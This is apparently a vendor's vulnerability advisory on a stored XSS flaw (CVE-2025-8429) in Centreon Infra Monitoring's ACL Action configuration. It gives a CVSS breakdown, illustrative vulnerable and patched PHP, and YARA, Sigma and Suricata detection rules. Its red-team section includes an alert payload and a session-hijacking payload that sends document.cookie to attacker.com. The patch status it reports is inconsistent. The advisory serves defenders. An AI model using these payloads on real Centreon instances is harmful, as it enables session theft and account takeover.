CVE-2025-8429
Executive Summary
CVE-2025-8429 is a stored Cross-Site Scripting (XSS) vulnerability in Centreon Infra Monitoring, specifically within the ACL Action access configuration modules. This flaw allows an authenticated user with elevated privileges to inject malicious scripts into web pages that are later served to other users. The vulnerability affects Centreon Infra Monitoring versions 24.10.0 before 24.10.13, 24.04.0 before 24.04.18, and 23.10.0 before 23.10.28. The CVSS score is 6.8 (Medium), indicating a moderate risk due to the requirement of elevated privileges and user interaction. No public proof-of-concept (PoC) or exploit code is available at this time, and the vendor has not yet released a patch. This report provides a comprehensive analysis, detection methods, and mitigation strategies.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
CVSS Breakdown & Threat Level
- CVSS Score: 6.8 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:L
- Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) – No special conditions are required for exploitation.
- Privileges Required (PR): High (H) – An attacker must have elevated privileges (e.g., admin or ACL manager) to inject the payload.
- User Interaction (UI): Required (R) – A victim user must interact with the malicious content (e.g., view the affected page).
- Scope (S): Changed (C) – The impact extends beyond the vulnerable component, affecting other users.
- Confidentiality (C): Low (L) – Limited information disclosure possible.
- Integrity (I): Low (L) – Limited ability to modify data.
- Availability (A): Low (L) – Limited impact on service availability.
Threat Level: Medium. The requirement for elevated privileges reduces the attack surface, but once exploited, the stored XSS can affect multiple users, potentially leading to session hijacking, data theft, or further compromise.
Deep Dive & Mechanics
The vulnerability resides in the ACL Action access configuration modules of Centreon Infra Monitoring. These modules allow administrators to define and manage access control lists (ACLs) for users and actions. The flaw is due to improper neutralization of user-supplied input during web page generation. Specifically, when an administrator creates or modifies an ACL action, the input fields (e.g., action name, description, or parameters) are not properly sanitized or encoded before being stored and later rendered in the web interface.
Attack Flow:
- An attacker with elevated privileges (e.g., an admin or ACL manager) logs into the Centreon web interface.
- The attacker navigates to the ACL Action configuration page and injects a malicious JavaScript payload into an input field (e.g., action name).
- The payload is stored in the database without proper sanitization.
- When another user (including other admins or operators) views the ACL configuration page, the malicious script executes in their browser context.
- The script can steal session cookies, perform actions on behalf of the victim, or redirect to malicious sites.
Root Cause: The application fails to apply output encoding or input validation for HTML/JavaScript contexts. This is a classic stored XSS vulnerability (CWE-79).
Vulnerable vs. Patched Code
Since no official patch is available, the following is a hypothetical comparison based on typical XSS fixes.
Vulnerable Code (PHP example):
// Vulnerable: Directly outputs user input without sanitization
$action_name = $_POST['action_name'];
echo "<div class='action'>" . $action_name . "</div>";
Patched Code (PHP example):
// Patched: Uses htmlspecialchars to escape HTML entities
$action_name = $_POST['action_name'];
echo "<div class='action'>" . htmlspecialchars($action_name, ENT_QUOTES, 'UTF-8') . "</div>";
The patched version ensures that any HTML or JavaScript in the input is encoded, preventing execution.
Exploitation & Lab Setup
Red Team
Prerequisites:
- Access to a vulnerable Centreon instance (version 24.10.0-24.10.12, 24.04.0-24.04.17, or 23.10.0-23.10.27).
- Valid credentials with elevated privileges (e.g., admin or ACL manager role).
Exploitation Steps:
- Log in to the Centreon web interface with elevated privileges.
- Navigate to
Configuration > ACL > Actions. - Click "Add" to create a new ACL action.
- In the "Action Name" field, enter the following payload:
<script>alert('XSS')</script> - Fill in other required fields and save the action.
- As another user (or the same user in a different session), navigate to
Configuration > ACL > Actionsand view the list. - The injected script will execute, displaying an alert box.
Advanced Payload (Session Hijacking):
<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>
Blue Team
Detection:
- Monitor for unusual input patterns in ACL action fields (e.g.,
<script>,onerror=,javascript:). - Review logs for creation or modification of ACL actions by privileged users.
- Use web application firewalls (WAF) to block common XSS payloads.
Mitigation:
- Apply input validation and output encoding as described in the patched code section.
- Restrict ACL action modification to only trusted administrators.
- Implement Content Security Policy (CSP) headers to block inline scripts.
Indicators of Compromise (IOCs)
- Network: HTTP requests to
/centreon/api/...with payloads containing<script>tags in POST parameters. - Logs: Audit logs showing creation or modification of ACL actions with suspicious content.
- File System: No specific file IOCs; the payload is stored in the database.
- Registry: Not applicable.
Example Log Entry:
[2025-04-01 12:34:56] User 'admin' created ACL action 'Test' with name '<script>alert(1)</script>'
Detection Engineering
YARA Rule
rule Centreon_Stored_XSS_CVE_2025_8429 {
meta:
description = "Detects stored XSS payloads in Centreon ACL action names"
author = "Valters IT"
date = "2025-04-01"
reference = "CVE-2025-8429"
strings:
$xss_payload = /<script[^>]*>.*?<\/script>/i
$xss_event = /on\w+\s*=\s*['"]?[^'"]*['"]?/i
$xss_javascript = /javascript\s*:/i
condition:
any of them
}
Sigma Rule
title: Centreon Stored XSS in ACL Action Configuration
id: cve-2025-8429
status: experimental
description: Detects potential stored XSS attempts in Centreon ACL action fields
author: Valters IT
logsource:
category: application
product: centreon
detection:
selection:
event_type: "ACL action created or modified"
action_name|contains:
- "<script"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of HTML in action names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"Centreon Stored XSS Attempt - CVE-2025-8429"; flow:to_server,established; content:"POST"; http_method; content:"/centreon/api/"; http_uri; pcre:"/<script[^>]*>.*?<\/script>/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade Centreon Infra Monitoring to the latest patched version (24.10.13, 24.04.18, or 23.10.28) once available.
- Apply input validation and output encoding to all user-supplied fields in ACL action configuration.
- Restrict access to ACL action modification to only essential personnel.
- Enable Content Security Policy (CSP) headers to block inline scripts and reduce XSS impact.
Long-term Measures:
- Conduct regular security audits and penetration testing.
- Implement a web application firewall (WAF) with XSS detection rules.
- Train administrators on secure coding practices and the risks of stored XSS.
Workaround:
- If patching is not immediately possible, manually sanitize input by escaping HTML entities in the application code (see patched code example).
Valters IT